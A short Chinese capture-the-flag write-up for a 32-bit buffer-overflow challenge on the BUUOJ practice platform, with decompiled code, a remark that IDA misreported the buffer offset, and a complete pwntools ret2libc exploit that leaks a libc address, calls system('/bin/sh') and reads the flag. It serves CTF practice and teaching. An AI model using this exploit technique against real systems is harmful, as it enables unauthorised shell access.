ida也不可全信。题目很简单就是有个溢出。32位no pie直接就write(write)但试了一下不行。用gdb跟一下发现,ida给的buf = ebp -0x60不对,应该是0x68 改为68就解决了
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[80]; // [esp+10h] [ebp-60h] BYREF
int v5; // [esp+60h] [ebp-10h]
int v6; // [esp+64h] [ebp-Ch]
signed int v7; // [esp+68h] [ebp-8h]
int i; // [esp+6Ch] [ebp-4h]
alarm(0x1Eu);
init();
v7 = read_80_bytes(buf);
for ( i = 0; i < v7; ++i )
{
v6 = rand() % (i + 1);
v5 = buf[i];
buf[i] = buf[v6];
buf[v6] = v5;
}
write(1, buf, v7);
return 0;
}
ssize_t __cdecl read_80_bytes(void *buf)
{
return read(0, buf, 0x80u); //溢出点,本意输入80字节,结果可以输入0x80字节
}
完整exp:
from pwn import *
'''
patchelf --set-interpreter ../buuoj_2.23_i386/ld-2.23-i386-0ubuntu11.so pwn
patchelf --add-needed ../buuoj_2.23_i386/libc-2.23-i386-0ubuntu11.so pwn
'''
local = 0
if local == 1:
p = process('./pwn')
else:
p = remote('node4.buuoj.cn', 26671)
libc_elf = ELF('../buuoj_2.23_i386/libc-2.23-i386-0ubuntu11.so')
one = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]
offset_main_ret = 0x18637
elf = ELF('./pwn')
context(arch='i386', log_level='debug')
payload = flat(b'\x00'*0x68, 0, elf.plt['write'], elf.sym['_start'], 1, elf.got['write'], 4)
p.send(payload.ljust(0x80, b'A'))
libc_base = u32(p.recv(4)) - libc_elf.sym['write']
libc_elf.address = libc_base
payload = flat(b'\x00'*0x68, 0, libc_elf.sym['system'], elf.sym['_start'], next(libc_elf.search(b'/bin/sh')))
p.send(payload.ljust(0x80, b'A'))
p.sendline('cat /flag')
p.interactive()